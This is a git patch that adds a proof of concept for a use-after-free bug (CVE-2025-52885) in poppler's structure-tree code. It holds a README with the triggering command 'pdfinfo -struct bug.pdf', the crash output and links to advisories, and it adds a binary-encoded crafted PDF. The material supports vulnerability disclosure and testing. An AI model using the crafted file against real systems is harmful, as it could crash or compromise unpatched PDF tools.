From 13560528e5f4ac6617c771fb9d60837645144ce0 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Tue, 14 Oct 2025 13:00:28 +0100 Subject: [PATCH] Proof of concept for poppler CVE-2025-52885 --- .../poppler-CVE-2025-52885/README.md | 28 ++++++++++++++++++ .../poppler-CVE-2025-52885/bug.pdf | Bin 0 -> 8987 bytes 2 files changed, 28 insertions(+) create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52885/README.md create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52885/bug.pdf diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52885/README.md b/SecurityExploits/freedesktop/poppler-CVE-2025-52885/README.md new file mode 100644 index 0000000..859f7b6 --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52885/README.md @@ -0,0 +1,28 @@ +# Proof of concept for poppler CVE-2025-52885 + +CVE-2025-52885 is a use-after-free vulnerability in +[poppler](https://gitlab.freedesktop.org/poppler). The bug is in +[StructTreeRoot.cc](https://gitlab.freedesktop.org/poppler/poppler/-/blob/2a3135888b6079f0a9fd6410ff65351482087b50/poppler/StructTreeRoot.cc). As +far as we know, this code is only used when one of poppler's command +line tools is run with a non-default command line option, so the +vulnerability does not affect the most common uses of poppler. + +This directory contains a poc which triggers the bug. To run it: + +```bash +pdfinfo -struct bug.pdf +``` + +In our testing, this causes `pdfinfo` to crash with the following error message: + +``` +free(): invalid next size (fast) +Aborted +``` + +## Links: + +* https://gitlab.freedesktop.org/poppler/poppler/-/issues/1580 +* https://gitlab.freedesktop.org/poppler/poppler/-/merge_requests/1884 +* https://securitylab.github.com/advisories/GHSL-2025-042_poppler/ +* https://www.openwall.com/lists/oss-security/2025/10/13/2 diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52885/bug.pdf b/SecurityExploits/freedesktop/poppler-CVE-2025-52885/bug.pdf new file mode 100644 index 0000000000000000000000000000000000000000..57b7c92aa4442c21aa570ab0de190ba2f4aa0827 GIT binary patch literal 8987 zcmeGiO>f*p)Ggw$mJkt~Xb(Iws-8^q$&MSsdn0|XT~#c=6%06W90`^ zHPzWDw!?ToWLm0tEto=cPDS6U!f+4l4#J?syrgk&XMFIYRF2Fe91y%*hUF6w> znhe0lz!b|xJD?!ySugrcbcpVExY3}*b45m&_#BmB%`E6pifOzjVT;lzM1s+ zXo?)xb$#Z%En)TgV+$ST1)qbB=4aOq@1b;%nomurWaCvGs-~>*)75IFidG@(Gg2$y z1H8#Cg)s-I@lQ>~v@}SV6LSuP{Z5U~CTVHlu~mBy<&7*(MGQ$-GG+#VSaX|Tp`}oi z8dRalYgaVw_)kS!VI}Q&jGi417`cm2h2HXBe+SJocN1^94;f4%%S&xoThs3}RSt*$ z6ep2Q$4Td#eA2L`CE$f6tYirVz8aMg1zr#Z%tf{pI2eEN*h&Nrkcj+KNiR89A?2yu zrfM+@l9g7$b-!eQ5g$N>ba>e%*8|%1`D<76o5}0nQ*8z{G*h4cHc;hNMK?(GU(Pm$ zX*5P_6xOsJXg8pG83P#|9;7+r@;kP_@sAHcZw9y@5r!vQ z=%O9Nk`hxqXE`bRefhR%;S^k1DjzMPzmI4$++#qk<~#R0cYWvZ@K9G2{5?FZVd(k@ z;W{<^Ik<4~0{s_-ql3sTBkl<$>j~nxh_(ngLn^c1BeyR~Tt~#_?TBr}80?U_M&b-W zJ0LQ0Xu?Ni@B~WQl8-ur;eiAeWtt?;==zR-RMJ*l{~pR1$)T2|DMI+BQ3%iT%;r*_ z#6$@6W1J8QG7lp!KVqV*RzrnJiSQj!0-&E05&zfGA^SW_;#67d?NVZ65Qe$Z{(wd= z0^+BQ#o?6%${#^oDygMkb4B3Ikuj@FyS^bbGAEcrMM;vNo6k^C z#tQMc_o~I?k_8Y|$th5^=eva-(aZdimK%8hq!xxUA6% zoimLzI-|1oDrVRt1;(r~bsb9LEMI0!dYS^~RLgZSJ|C8{@@zQ?Z6OIkqcrPIPWiMo zJeS2Y70S!2{X@Pqzb_sHPA5Z>v%}(yy}_fybVgxa9GD%;%|O|C!U1IMgso*dM3qs* zga_BRB`n?dI5kK+n$S}?@ z#yrEA;yu;-gU-f~E_k>LGwHUB3Z)if;uO0&2Wh4+JEi;`*lpKu_>r3)AfR_N&#*@` zzen__{GNys{mk3pHDN}xSIBh}jRd8#oxWJtJrX@mZlZf$^adI6A4E^EvcOPT^s>c^ zV~Q~yzAp-fc?QWaF{